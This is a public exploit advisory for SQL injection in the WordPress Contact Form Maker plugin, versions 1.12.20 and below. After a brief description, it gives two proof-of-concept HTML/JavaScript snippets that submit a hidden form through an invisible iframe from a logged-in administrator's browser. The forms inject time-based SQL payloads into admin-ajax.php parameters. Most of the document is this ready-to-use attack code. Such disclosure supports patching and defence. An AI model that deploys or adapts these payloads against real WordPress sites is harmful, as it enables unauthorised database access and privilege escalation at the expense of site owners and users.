WordPress Plugin Contact Form Maker 1.12.20 - SQL Injection

# Title: WordPress Contact Form Maker Plugin 1.12.20 - SQL Injection
# Date: 2018-06-07
# Author: Neven Biruski
# Software: WordPress Contact Form Maker plugin
# Software link: https://wordpress.org/plugins/contact-form-maker/
# Version: 1.12.20 and below

# The easiest way to reproduce the SQL injection vulnerabilities is to
# open the presented HTML/JavaScript snippet in your browser while being
# logged in as administrator or another user that is authorized to
# access the plugin settings page. Users that do not have full
# administrative privileges could abuse the database access the
# vulnerabilities provide to either escalate their privileges or obtain
# and modify database contents they were not supposed to be able to.


# PoC 1

<iframe style="display:none" name="invisible"></iframe>
<form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping_fmc&task=db_table_struct"
target="invisible">
<input type="hidden" name="name" value="wp_users WHERE 42=42 AND SLEEP(42)--;"/>
</form>
<script>
 document.getElementById("form").submit();
 sleep(3000);
</script>

# PoC 2

<iframe style="display:none" name="invisible"></iframe>
<form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=1&send_header=0&action=generete_csv_fmc&limitstart=0"
target="invisible">
<input type="hidden" name="search_labels" value="(SELECT * FROM (SELECT(SLEEP(42)))XXX)"/>
</form>
<script>
 document.getElementById("form").submit();
 sleep(3000);
</script>